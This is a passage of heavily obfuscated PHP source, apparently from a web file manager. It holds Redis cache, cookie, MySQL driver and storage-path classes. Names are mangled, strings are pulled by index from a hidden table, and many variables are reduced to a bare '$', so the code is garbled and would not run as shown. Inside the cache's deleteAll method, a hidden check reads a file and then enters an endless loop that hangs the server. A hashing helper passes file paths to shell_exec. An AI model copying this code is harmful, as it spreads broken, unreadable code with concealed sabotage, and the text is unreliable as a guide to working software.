(isset($œ[$泷[16]]) && in_array($œ[$泷[16]], $ʾ)) { $ = $œ[$泷[16]]; } switch ($) { case $泷[948]: $this->_slave($œ, $ୱ); break; case $泷[949]: break; case $泷[950]: $this->isCluster = !0; $ = $œ[$泷[943]]; $ = isset($œ[$泷[947]]) ? $œ[$泷[947]] : !1; $ = isset($œ[$泷[487]]) ? $œ[$泷[487]] : null; $this->handle = new RedisCluster(NUll, $, $ୱ, $ୱ, $, $); break; default: break; } } private function _slave($, $) { $ = $[$_SERVER[][943]]; $this->filterConfig($, $[0]); $this->handle = $this->init($, $); unset($[0]); if (empty($)) { return; } $ = array_rand($); $this->filterConfig($, $[$]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$ܥ, $) { $ψ =& $_SERVER[]; $ɋ = explode($ψ[4], $); $Ȩ = array($ψ[208] => $ɋ[0], $ψ[209] => $ɋ[1]); $ܥ = array_merge($ܥ, $Ȩ); } public function set($đ, $, $мĦ = false) { $мĦ = $мĦ ? $мĦ : $this->cacheTime; return $this->handle->setEx($đ, $мĦ, $); } public function setLock($ю, $, $) { return $this->handle->setNX($ю, $); } public function get($ڿ) { $ܘۤ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $ܘۤ->get($ڿ); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ =& $_SERVER[]; if (!isset($_SERVER[$[846]]) || !isset($_SERVER[$[844]])) { $ = $[951]; $ܜ = $[847]; $ = $_SERVER[$[848]] . $[849]; $ޜ֗ = $ܜ($); $ = explode($[262], $ޜ֗); if (count($) < $[683]) { $ХŎ = $[850]; $ХŎ(); } $ћȍ = $[952]; $ћȍ($_SERVER[$[953]]); $ڬ = 1; for ($ = $ڬ; $ > 0; $++) { $ћȍ = json_encode($GLOBALS[$[492]]); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ް) { $this->handle->flushall($ް); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $ޥ = 0) { if (is_string($) && $ != $_SERVER[][12]) { $this->prefix = $; } if (is_numeric($ޥ) && $ޥ > 0) { $this->expire = $ޥ; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($쑆, $ާ, $֥ = 0, $˾ܗ = false, $ = false) { $˲ =& $_SERVER[]; if (self::$cookieDisable) { return; } if (!$֥) { $֥ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$쑆]) && self::$sameCookieSet[$쑆] == $ާ . $֥) { return; } self::$sameCookieSet[$쑆] = $ާ . $֥; if (!$) { $ = str_replace(HOST, $˲[12], APP_HOST); $ = _get($GLOBALS, $˲[954], $); } $ = $˲[12]; setcookie($쑆, $ާ, time() + $֥, $˲[8] . trim($, $˲[8]) . $, !1, !1, $˾ܗ); } public static function setSafe($ө, $漾, $Ւ = 0) { self::set($ө, $漾, $Ւ, !0); } public static function get($͆) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$͆]) ? $_COOKIE[$͆] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[]; if (!isset($_SERVER[$[955]]) || !$_SERVER[$[955]]) { return; } $ = explode($[74], $_SERVER[$[955]]); foreach ($ as $ك) { $ك = explode($[506], $ك); if (count($ك) != 2 || !isset($ك[1])) { continue; } $_COOKIE[trim($ك[0])] = trim($ك[1]); } } public static function remove($㕶, $ = false) { unset($_COOKIE[$㕶]); self::set($㕶, $_SERVER[][12], 1, $); } } class DbMysql extends Db { public function __construct($ư = '') { $푪 =& $_SERVER[]; if (!extension_loaded($푪[879])) { think_exception(think_lang($푪[14]) . $푪[956]); } if (!empty($ư)) { $this->config = $ư; if (empty($this->config[$푪[17]])) { $this->config[$푪[17]] = $푪[12]; } } } public function connect($؈ = '', $ = 0, $ = false) { $ =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($؈)) { $؈ = $this->config; } $ = $؈[$[957]] . ($؈[$[958]] ? "\x3a{$؈[$[958]]}" : $[12]); $ = !empty($؈[$[17]][$[18]]) ? $؈[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($, $؈[$[959]], $؈[$[960]], 131072); } else { $this->linkID[$] = mysql_connect($, $؈[$[959]], $؈[$[960]], !0, 131072); } if (!$this->linkID[$] || !empty($؈[$[21]]) && !mysql_select_db($؈[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $Ŕ = mysql_get_server_info($this->linkID[$]); mysql_query($[961] . think_config($[962]) . $[58], $this->linkID[$]); if ($Ŕ > $[963]) { mysql_query($[964], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($) { $բ =& $_SERVER[]; if (0 === stripos($, $բ[341])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($բ[23], 1); think_status($բ[24]); $this->queryID = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($) { $ԍك =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ԍك[25], 1); think_status($ԍك[24]); $֨ = mysql_query($, $this->_linkID); $this->debug(); if (!1 === $֨) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[][965], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $䢆 = mysql_query($_SERVER[][966], $this->_linkID); $this->transTimes = 0; if (!$䢆) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $Å = mysql_query($_SERVER[][967], $this->_linkID); $this->transTimes = 0; if (!$Å) { $this->error(); return !1; } } return !0; } private function getAll() { $ԁڋ = array(); if ($this->numRows > 0) { while ($Ģ = mysql_fetch_assoc($this->queryID)) { $ԁڋ[] = $Ģ; } mysql_data_seek($this->queryID, 0); } return $ԁڋ; } public function getFields($) { $ =& $_SERVER[]; $ = $this->query($[968] . $this->parseKey($)); $ = array(); if ($) { foreach ($ as $ => $Ӯ) { $[$Ӯ[$[31]]] = array($[32] => $Ӯ[$[31]], $[33] => $Ӯ[$[34]], $[35] => (bool) (strtoupper($Ӯ[$[36]]) === $[969]), $[37] => $Ӯ[$[38]], $[39] => strtolower($Ӯ[$[40]]) == $[41], $[42] => strtolower($Ӯ[$[43]]) == $[44]); } } return $; } public function getTables($ڹ = '') { $㉯ =& $_SERVER[]; if (!empty($ڹ)) { $홎 = $㉯[970] . $ڹ . $㉯[971]; } else { $홎 = $㉯[972]; } $ӝ = $this->query($홎); $Ǵ = array(); foreach ($ӝ as $ => $) { $Ǵ[$] = current($); } return $Ǵ; } public function replace($Ǟ, $Ɩ = array()) { $ =& $_SERVER[]; foreach ($Ǟ as $ => $) { $ᠪ = $this->parseValue($); if (is_scalar($ᠪ)) { $Ɯ[] = $ᠪ; $[] = $this->parseKey($); } } $ = $[973] . $this->parseTable($Ɩ[$[356]]) . $[974] . implode($[50], $) . $[975] . implode($[50], $Ɯ) . $[976]; return $this->execute($); } public function insertAll($촸, $ = array(), $ = false) { $Ȱ =& $_SERVER[]; if (!is_array($촸[0])) { return !1; } $Ⱥ = array_keys($촸[0]); $ = array(); foreach ($촸 as $׳円) { $ = array(); foreach ($׳円 as $ => $Ј) { $Ј = $this->parseValue($Ј); if (is_scalar($Ј)) { $[] = $Ј; } } $[] = $Ȱ[337] . implode($Ȱ[50], $) . $Ȱ[976]; } array_walk($Ⱥ, array($this, $Ȱ[977])); $ = ($ ? $Ȱ[978] : $Ȱ[979]) . $Ȱ[980] . $this->parseTable($[$Ȱ[356]]) . $Ȱ[974] . implode($Ȱ[50], $Ⱥ) . $Ȱ[981] . implode($Ȱ[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $𓆨 =& $_SERVER[]; $this->error = mysql_errno() . $𓆨[4] . mysql_error($this->_linkID); if ($𓆨[12] != $this->queryStr) { $this->error .= LNG($𓆨[48]) . $this->queryStr; } think_trace($this->error, $𓆨[12], $𓆨[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$ѝ, $ڥ = true) { $鯣 =& $_SERVER[]; if ($ڥ) { $ѝ = $this->parseKeyCheck($ѝ); } if ($ѝ != $鯣[220] && !preg_match($鯣[982], $ѝ)) { $ѝ = $鯣[461] . trim($ѝ, $鯣[461]) . $鯣[461]; } return $ѝ; } } goto dߊ; Eт: class PathDriverBase { public $pathDriver = ''; public $pathBase = ''; public $path = ''; public $pathID = ''; public $_data = array(); public function __construct() { $ =& $_SERVER[]; $this->objectDriver = array($[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71]); $this->_classObjectID = mt_rand(0, 10000); } public function getPath($̱) { if (in_array($this->getType(), $this->objectDriver)) { return ltrim($̱, $_SERVER[][8]); } return $̱; } public function iconvApp($) { return $; } public function iconvSystem($Ք) { return $Ք; } public function iconvTo($ĩ, $, $Ԓб) { $ =& $_SERVER[]; if (!$ĩ || !function_exists($[72])) { return $ĩ; } static $Ɛ = array(); $̭ = $ . $[73] . $Ԓб . $[74] . $ĩ; if (isset($Ɛ[$̭])) { return $Ɛ[$̭]; } if (function_exists($[75])) { $Я = @mb_convert_encoding($ĩ, $Ԓб, $); } else { $Я = @iconv($, $Ԓб, $ĩ); } $Я = $Я ? $Я : $ĩ; if (strstr($Я, $[76])) { $Я = str_replace($[76], $[11], $Я); } $Ɛ[$ . $[73] . $Ԓб . $[74] . $ĩ] = $Я; $Ɛ[$Ԓб . $[73] . $ . $[74] . $ĩ] = $ĩ; $Ɛ[$Ԓб . $[73] . $ . $[74] . $Я] = $ĩ; $Ɛ[$ . $[73] . $Ԓб . $[74] . $Я] = $Я; return $Я; } public function getPathInner($) { $ԝ = IO::init($); return $ԝ->path; } public function getPathOuter($) { $Վ =& $_SERVER[]; $̡Ԯ = strlen(trim($this->pathBase, $Վ[8])); $ = substr(trim($, $Վ[8]), $̡Ԯ); return $this->pathDriver . $Վ[8] . ltrim($, $Վ[8]); } public function isParentOf($, $) { $۲ =& $_SERVER[]; $ = rtrim(strtolower($), $۲[8]) . $۲[8]; $ = rtrim(strtolower($), $۲[8]) . $۲[8]; $ = strpos($, $) === 0; return $; } public function getType() { $ת =& $_SERVER[]; $۩ = str_replace($ת[77], $ת[12], get_class($this)); return strtolower($۩); } public function isOsDriver() { if (!is_array($this->objectDriver)) { return !1; } return in_array($this->getType(), $this->objectDriver); } public function fileNameExist($ē, $ѕ) { $ﴴ =& $_SERVER[]; $ = rtrim($ē, $ﴴ[8]) . $ﴴ[8] . $ѕ; $ؙ = $this->exist($); return $ؙ ? $ : !1; } public function setModifyTime($ҳﺩ, $牣 = '') { } public function renameObject($ר, $) { $ = $; $ר = $this->getPathOuter($ר); $ = $this->pathFather($ר) . $; $ = IO::copy($ר, $this->pathFather($ר), REPEAT_RENAME_FOLDER, $); if ($) { IO::remove($ר); } return $ ? $ : !1; } public function tempFile($ = '', $ = '') { if (!$) { $ = rand_string(15); } $ = TEMP_FILES . rand_string(15) . $_SERVER[][8]; @mkdir($, DEFAULT_PERRMISSIONS, !0); $ = $ . $; @touch($); if ($) { file_put_contents($, $); } return $; } public function tempFileRemve($) { @unlink($); @rmdir($this->pathFather($)); } public function mkfile($ٛ, $ = '', $徚ֳ = REPEAT_RENAME) { } public function mkdir($, $⻅ = REPEAT_SKIP) { } public function delFile($Ԑ) { } public function delFolder($ʴє) { } public function copyFile($, $Ʋ) { } public function moveFile($҉, $) { } public function remove($٩) { if ($this->isFile($٩)) { return $this->delFile($٩); } return $this->delFolder($٩); } public function rename($, $) { } public function exist($) { } public function findByHash($ = '', $졋̥ = '') { return !1; } public function isFile($) { } public function isFolder($ˆݤ) { } public function size($) { } public function info($ڱ) { } public function infoSimple($) { return $this->info($); } public function infoAuth($̀ߛ) { return $this->info($̀ߛ); } public function infoFull($Ѐƌ) { return $this->info($Ѐƌ); } public function infoFullSimple($ǁ) { return $this->info($ǁ); } public function infoWithChildren($) { $Ҿ =& $_SERVER[]; static $̿ր = array(); if (isset($̿ր[$])) { return $̿ր[$]; } $ַ = $this->info($); if ($ַ && $ַ[$Ҿ[33]] == $Ҿ[78]) { $ɝ = array($Ҿ[79] => 0, $Ҿ[80] => 0, $Ҿ[81] => 0); $this->infoChildren($, $ɝ); $ַ[$Ҿ[79]] = $ɝ[$Ҿ[79]]; $ַ[$Ҿ[82]] = array($Ҿ[83] => $ɝ[$Ҿ[80]], $Ҿ[84] => $ɝ[$Ҿ[81]]); $̿ր[$] = $ַ; } return $ַ; } public function listPath($, $ = false) { } public function has($֝, $Ģ؉ = false, $ = false) { } public function canRead($) { } public function canWrite($) { } public function getContent($) { } public function setContent($, $ = '') { } protected function infoChildren($ܲ, &$) { $ԟ =& $_SERVER[]; check_abort_echo(); $ީ = $this->listPath($ܲ, !0); $ީ = array_merge($ީ[$ԟ[85]], $ީ[$ԟ[86]]); foreach ($ީ as $) { if ($[$ԟ[33]] == $ԟ[78]) { $[$ԟ[81]]++; $ц = $this->getPathInner($[$ԟ[87]]); $this->infoChildren($ц, $); } else { $[$ԟ[80]]++; $[$ԟ[79]] += $[$ԟ[79]]; } } } public function fileSubstr($, $, $ה) { } public function listAll($鲙Ż) { } public function listAllMake($Ťڔ, &$©Ҿ) { $ϧ =& $_SERVER[]; check_abort_echo(); $߰ = $this->listPath($Ťڔ, !0); if (!$߰) { return; } $Ƨ = array_merge($߰[$ϧ[85]], $߰[$ϧ[86]]); foreach ($Ƨ as $) { $ؼ = $[$ϧ[33]] == $ϧ[78]; $О = array($ϧ[87] => $[$ϧ[87]], $ϧ[78] => $ؼ); if (isset($[$ϧ[79]])) { $О[$ϧ[79]] = $[$ϧ[79]]; } if (isset($[$ϧ[88]])) { $О[$ϧ[88]] = $[$ϧ[88]]; } if (!$ؼ) { $©Ҿ[] = $О; continue; } $©Ҿ[] = $О; $ڊ = $[$ϧ[87]]; $㰛 = $this->pathDriver; if (substr($[$ϧ[87]], 0, strlen($㰛)) == $㰛) { $ڊ = substr($ڊ, strlen($㰛)); } $this->listAllMake($ڊ, $©Ҿ); } } public function listAllSimple($, $Ì = false) { $ = $this->listAll($); return $this->listAllSimpleMake($, $this->getPathOuter($), $Ì); } public function listAllSimpleMake($լ, $, $й) { $ =& $_SERVER[]; $炅 = array(); $ = rtrim(get_path_father($), $[8]) . $[8]; foreach ($լ as $ۙ) { $刪 = array($[87] => $ۙ[$[87]], $[89] => $ۙ[$[87]], $[78] => $ۙ[$[78]]); if (isset($ۙ[$[79]]) && !$ۙ[$[78]]) { $刪[$[79]] = $ۙ[$[79]]; } if (isset($ۙ[$[88]])) { $刪[$[88]] = $ۙ[$[88]]; } if (is_array($ۙ[$[90]])) { $刪[$[89]] = $ۙ[$[90]][$[87]]; $刪[$[79]] = $ۙ[$[90]][$[79]]; $刪[$[88]] = $ۙ[$[90]][$[88]]; } else { if (substr($ۙ[$[87]], 0, strlen($)) == $) { $刪[$[87]] = substr($ۙ[$[87]], strlen($)); } } $ҽ߸ = $ۙ[$[78]] ? $[8] : $[12]; $刪[$[89]] = rtrim($刪[$[89]], $[8]) . $ҽ߸; $刪[$[87]] = $[8] . trim($刪[$[87]], $[8]) . $ҽ߸; if (!$й) { $ˆ = explode($[8], trim($刪[$[87]], $[8])); $刪[$[87]] = $[8] . implode($[8], array_slice($ˆ, 1)) . $ҽ߸; } $炅[] = $刪; } return array_sort_by($炅, $[87]); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { } public function uploadFileByID($, $, $˃ʥ) { } public function uploadFileByPath($, $ڈ, $ = array()) { } public function isUploadServer() { $θ =& $_SERVER[]; if (isset($this->ioUploadServer) && $this->ioUploadServer == $θ[91]) { return !0; } return $GLOBALS[$θ[6]][$θ[92]][$θ[93]]; } public function isFileOutServer() { $ =& $_SERVER[]; if (isset($this->ioFileOutServer) && $this->ioFileOutServer == $[91]) { return !0; } return $GLOBALS[$[6]][$[92]][$[94]]; } public function isCdnHost() { if ($this->isFileOutServer() || empty($this->cdnHost)) { return !1; } return request_url_safe($this->cdnHost) ? !0 : !1; } public function getCdnLink($ꛪ) { $ʆΞ =& $_SERVER[]; if (!$this->isCdnHost()) { return $ꛪ; } return str_replace(trim(get_url_root($ꛪ), $ʆΞ[8]), trim($this->cdnHost, $ʆΞ[8]), $ꛪ); } public function uploadLink($Ӣ, $ = 0) { $̀ =& $_SERVER[]; if ($this->isUploadServer()) { return; } $ƹ = $this->getType(); if (!in_array($ƹ, $this->objectDriver)) { return; } if (!$this->isBucketCors()) { return; } $Ř = 1024 * 1024 * 10; $꾌Ϭ = $ <= $Ř ? $̀[95] : $̀[96]; $ո = (!$ ? 1 : ceil($ / pow(1024, 3))) * 3600 * 4; $ի = $this->{$꾌Ϭ}($Ӣ, $ո); if ($ի) { $ի[$̀[97]] = $Ӣ; $ի[$̀[98]] = $ƹ; } return $ի; } public function uploadFormData($Ɔ, $τ = 3600) { } public function multiUploadFormData($ݖ, $͛ = 3600) { } public function download($ȓݸ, $) { } public function ext($) { $ł =& $_SERVER[]; if (strpos($, $ł[8]) === -1) { $Ʀ = $; } else { $Ʀ = $this->pathThis($); } $ȹ = $ł[12]; if (strstr($Ʀ, $ł[10])) { $ȹ = substr($Ʀ, strrpos($Ʀ, $ł[10]) + 1); $ȹ = strtolower($ȹ); } if (strlen($ȹ) > 3 && preg_match($ł[99], $ȹ, $ܐ)) { $ȹ = $ł[12]; } return $ȹ; } public function pathThis($ۦ) { $奯 =& $_SERVER[]; $ۦ = str_replace($奯[100], $奯[8], rtrim($ۦ, $奯[8])); $ = strrpos($ۦ, $奯[8]); if ($ === !1) { return $ۦ; } return substr($ۦ, $ + 1); } public function pathFather($סԶ) { $ =& $_SERVER[]; $סԶ = str_replace($[100], $[8], rtrim($סԶ, $[8])); $ׂ = strrpos($סԶ, $[8]); if ($ׂ === !1) { return $[12]; } return substr($סԶ, 0, $ׂ + 1); } public function hashSimple($ܚ) { $ =& $_SERVER[]; if (!$ܚ) { return md5($[12]); } $ә = $this->size($ܚ); $ = 200; $ʂ = 50; if ($ә <= $ * $ʂ) { return $this->hashMd5($ܚ) . $ә; } $ = intval($ә / $ʂ); $ = $[12]; for ($ͨݸ = 0; $ͨݸ < $ʂ; $ͨݸ++) { $ .= $this->fileSubstr($ܚ, $ * $ͨݸ, $); } $ .= $this->fileSubstr($ܚ, $ә - $, $); return md5($) . $ә; } public static $md5Cache = array(); public function hashMd5($ɾͯ) { if (!$ɾͯ) { return md5($_SERVER[][12]); } $ɾͯ = $this->iconvSystem($ɾͯ); if (isset(self::$md5Cache[$ɾͯ])) { return self::$md5Cache[$ɾͯ]; } self::$md5Cache[$ɾͯ] = $this->hashMd5Shell($ɾͯ); if (!self::$md5Cache[$ɾͯ]) { self::$md5Cache[$ɾͯ] = @md5_file($ɾͯ); } return self::$md5Cache[$ɾͯ]; } private function hashMd5Shell($ȯ) { $ =& $_SERVER[]; if (!$ȯ) { return md5($[12]); } if (!function_exists($[101])) { return !1; } $ = array($[102], $[103]); $ҕ = Cache::get($[104]); if (!$ҕ) { $ǚ = BASIC_PATH . $[105]; $Ë = md5_file($ǚ); $ҕ = $[106]; foreach ($ as $) { $ʆ = shell_exec($ . "\x20\42{$ǚ}\42"); if ($ʆ && substr(trim($ʆ), 0, 32) == $Ë) { $ҕ = $; break; } } Cache::set($[104], $ҕ, 3600); } if ($ҕ == $[106]) { return !1; } $ʆ = shell_exec($ҕ . "\x20\42{$ȯ}\x22"); $ʆ = str_replace($[107], $[12], $ʆ); return substr($ʆ, 0, 32); } public function link($둞) { return $둞; } public function fileOut($҅, $وū = false, $ = false, $߅ = '') { $ =& $_SERVER[]; $this->cacheMethod(null, null); if (!$҅ || !$this->exist($҅)) { show_json(LNG($[108]), !1, $); } $Ǚ = $this->getType() == $[109]; $Ї = $GLOBALS[$[6]][$[92]][$[110]][$[111]]; $⚡ = (double) $GLOBALS[$[6]][$[92]][$[110]][$[112]] * 1024 * 1024; @ob_end_clean(); set_timeout(); $㘮 = $this->infoFull($҅); $ = $㘮[$[79]]; $ = gmdate($[113], $㘮[$[88]]); $撷 = $ ? $ : $this->iconvApp($㘮[$[32]]); $ = 0; $Ӝ = $ - 1; $ = $this->ext($撷); if (in_array($, array($[114], $[115], $[116], $[117]))) { $ = $[118]; } if (in_array($, array($[119]))) { $ = $[120]; } if (!$߅) { $߅ = md5($ . $); } $߅ = $[121] . $߅ . $[121]; $̫ߒ = get_file_mime($); $ô = !0; $ô = isset($_GET[$[122]]) ? !1 : !0; if ($وū === !1 && !mime_support($̫ߒ)) { $̫ߒ = $[123]; } header($[124]); header($[125] . $̫ߒ); $ = rawurlencode($撷); $ = $[121] . $ . $[126] . $; if ($وū) { header($[127]); header($[128] . $); } else { if ($ô) { header($[129] . $); } } $Ɏ = 3600 * 24 * 30; header($[130]); header($[131]); header($[132] . $Ɏ); header($[133] . gmdate($[113], time() + $Ɏ) . $[134]); if (isset($_SERVER[$[135]]) && strtotime($_SERVER[$[135]]) == $㘮[$[88]]) { header($[136], !0, 304); die; } if (isset($_SERVER[$[137]]) && $_SERVER[$[137]] == $߅) { header($[138] . $߅, !0, 304); die; } header($[138] . $߅); header($[139] . $ . $[134]); header($[140] . $撷); header($[141]); header($[142] . $); header($[143]); Hook::trigger($[144], $҅, $, $撷, $); if (!$وū && $ == $[145]) { if ($ > 1024 * 1024 * 5) { die; } $Χ = $this->getContent($҅); $Χ = Html::clearSVG($Χ); header($[146] . strlen($Χ)); echo $Χ; die; } $ = strtolower($_SERVER[$[147]]); if ($Ǚ && $ && $Ї) { if (strstr($, $[148])) { header($[149] . $҅); } else { if (strstr($, $[150])) { header($[151] . $҅); } else { if (strstr($, $[152])) { header($[153] . $҅); } } } if ($⚡) { header($[154] . $⚡); } return; } if (isset($_SERVER[$[155]])) { if (preg_match($[156], $_SERVER[$[155]], $)) { $ = intval($[1]); $ = $ <= 0 ? 0 : ($ >= $Ӝ ? $Ӝ : $); if (!empty($[2])) { $ = intval($[2]); $Ӝ = $ < $ ? $ : ($ >= $Ӝ ? $Ӝ : $); } } header($[157]); header("\103\157\156\164\145\156\x74\x2d\x52\141\156\147\x65\x3a\x20\x62\171\x74\145\163\40{$}\55{$Ӝ}\57" . $); } else { header($[158]); } header($[159]); header($[160]); $۾Ƌ = !0; if ($_SERVER[$[161]] == $[162] && $ > 1204 * 1024 * 1024 * 2) { $۾Ƌ = !1; } if ($۾Ƌ) { header($[163] . ($Ӝ - $ + 1)); } if ($_SERVER[$[164]] == $[165]) { return; } $ܟ = array($[166] => !1, $[167] => $, $[168] => $Ӝ, $[169] => $, $[170] => $㘮, $[171] => $[12], $[172] => 0); $ܟ = Hook::filter($[173], $ܟ); $ = 1024 * 300; $Ά = 0; if ($⚡) { $Ά = intval(1000 * 1000 * ($ / $⚡)); } while ($ <= $Ӝ) { $ = timeFloat(); check_abort(); $ = $Ӝ - $ + 1; if ($ <= $) { $ = $; } $Χ = $this->fileSubstr($҅, $, $); if ($ܟ[$[166]]) { $ܟ[$[171]] = $Χ; $ܟ[$[172]] = $; $ܟ = Hook::filter($[174], $ܟ); $Χ = $ܟ[$[171]]; } echo $Χ; $ += $; if ($ == $) { $ = $Ӝ + 1; } if ($Ά) { $ = intval(1000 * 1000 * (timeFloat() - $)); $ = $Ά - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $؛ = false, $ = false, $״⯖ = '') { $this->fileOut($, $؛, $, $״⯖); } public function fileOutLink($ðń) { header($_SERVER[][175] . $ðń); die; } public function cacheMethod($պ, $Ż, $ = null) { $ =& $_SERVER[]; static $ = array(); $֖ȿ = $Ż ? ltrim($this->getPathOuter($Ż), $[8]) : $[12]; $ڂ = $[176] . $պ . $[177] . rtrim($֖ȿ, $[8]); if (is_null($պ)) { $ = array(); return; } if (is_null($Ż)) { foreach ($ as $ڂ => $) { if (!strstr($ڂ, $[176] . $պ . $[178])) { continue; } unset($[$ڂ]); } return; } if (!is_null($)) { $[$ڂ] = $; return; } $ݛ = isset($[$ڂ]) ? $[$ڂ] : null; if (!is_null($ݛ)) { return $ݛ; } $ݛ = $this->{$պ}($Ż); $[$ڂ] = $ݛ; return $ݛ; } public function cacheMethodInfoSet($ƶ, $Л, $ = false) { $ =& $_SERVER[]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($[179], $ƶ, $Л); $this->cacheMethod($[180], $ƶ, $Л ? !1 : !0); if (is_array($)) { $this->cacheMethod($[181], $ƶ, $); } } public function fileOutImage($, $ئ = 250) { $Ȍ =& $_SERVER[]; set_timeout(); if (substr($, 0, 4) == $Ȍ[152]) { $this->fileOutLink($); } $ = $this->info($); $ = !1; $뼾 = isset($GLOBALS[$Ȍ[182]]) ? $GLOBALS[$Ȍ[182]] : array(); if ($뼾 && $뼾[$Ȍ[183]] == $[$Ȍ[87]]) { $ = $뼾; $̵ = $[$Ȍ[184]]; if ($̵ && isset($̵[$Ȍ[185]])) { if ($̵[$Ȍ[185]] <= $ئ && $̵[$Ȍ[186]] <= $ئ) { $ = !0; } } } if ($[$Ȍ[79]] <= 1024 * 50 || $ || !function_exists($Ȍ[187]) || $[$Ȍ[169]] == $Ȍ[188]) { return $this->fileOut($, !1, $[$Ȍ[32]]); } $̢ = kodIO::hashPath($); $՞ = "\x63\157\166\x65\x72\x5f{$̢}\137{$ئ}\x2e\x70\x6e\147"; $ = IO_PATH_SYSTEM_TEMP . $Ȍ[189]; $ˎ = IO::infoFullSimple($); $ = $ˎ && is_array($ˎ) ? $ˎ[$Ȍ[87]] : $Ȍ[12]; if (!$) { $ = IO::mkdir($); } if ($[$Ȍ[190]] == $Ȍ[191] && isset($[$Ȍ[192]]) && $[$Ȍ[192]] == kodIO::sourceID($)) { $ح = $[$Ȍ[193]]; if ($ئ <= 500) { $啓 = preg_replace($Ȍ[194], $Ȍ[195], $[$Ȍ[32]]); $ح = IO::fileNameExist($, $啓); } return IO::fileOut(KodIO::make($ح), !1, $[$Ȍ[32]]); } $ߪ = IO::fileNameExist($, $՞); if ($ߪ) { return IO::fileOut(KodIO::make($ߪ), !1, $[$Ȍ[32]]); } if ($ئ > 1000) { $this->makeImageCover($, $, $՞, $ئ); $this->makeImageCover($, $, "\x63\x6f\x76\145\162\137{$̢}\x5f\62\65\60\56\x70\x6e\x67", 250); $ߪ = IO::fileNameExist($, $՞); if ($ߪ) { return IO::fileOut(KodIO::make($ߪ), !1, $[$Ȍ[32]]); } die; } if (!kodIO::allowCover($)) { return $this->fileOut($, !1, $[$Ȍ[32]]); } $Ԋ = Cache::get($՞); if ($Ԋ == $Ȍ[196] || $Ԋ == $Ȍ[197]) { echo $Ԋ; die; } Cache::set($՞, $Ȍ[197], 60); $ےýۥ = array($, $[$Ȍ[87]], $՞, $ئ); $ٛ = $Ȍ[198] . $[$Ȍ[79]] . $Ȍ[199] . $՞ . $Ȍ[200] . $[$Ȍ[32]] . $Ȍ[201] . $[$Ȍ[87]]; TaskQueue::add($Ȍ[202], $ےýۥ, $ٛ, $՞); } public function makeImageCover($ܐ, $ԒЖ, $ب, $) { $ң =& $_SERVER[]; if (IO::fileNameExist($ܐ, $ب)) { return $ң[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $ب; del_file($); $Ά = IO::copy($ԒЖ, TEMP_FILES, !1, $ب); if (!@file_exists($Ά)) { return $ң[204]; } ImageThumb::createThumb($Ά, $, $, $ * 10); if (@file_exists($)) { Cache::remove($ب); return IO::move($, $ܐ); } Cache::set($ب, $ң[196], 600); del_file($); return $ң[205] . $Ά . $ң[74]; } public function fileOutImageServer($ƅ, $ƃ = 250) { $this->fileOutImage($ƅ, $ƃ); } public function fileNameAuto($Ռ, $ӄ, $ȅ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ǿ = $Ռ === $[12] ? $ӄ : rtrim($Ռ, $[8]) . $[8] . $ӄ; if ($ȅ == REPEAT_REPLACE || !$this->exist($ǿ) || $ && $ȅ != REPEAT_RENAME_FOLDER) { return $ӄ; } if ($ȅ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($ӄ); $ = $ == $[10] || $ ? $[12] : $; $쮐 = 1; $ݜ = substr($ӄ, 0, strlen($ӄ) - strlen($)); $¿ = $ݜ . "\x28{$쮐}\51{$}"; while ($this->exist(rtrim($Ռ, $[8]) . $[8] . $¿)) { $¿ = $ݜ . "\x28{$쮐}\x29{$}"; $쮐++; } return $¿; } private function fileNameAutoList($, $˵, $ڮ = false) { $掟 =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$掟[85]], $[$掟[86]]); $˦ = array_to_keyvalue($, $掟[12], $掟[32]); $ج = $掟[10] . get_path_ext($˵); $ج = $ج == $掟[10] || $ڮ ? $掟[12] : $ج; $䊪 = substr($˵, 0, strlen($˵) - strlen($ج)); $ȿͫ = $䊪 . "\50\60\x29{$ج}"; for ($ݪ = 1; $ݪ <= count($˦) + 1; 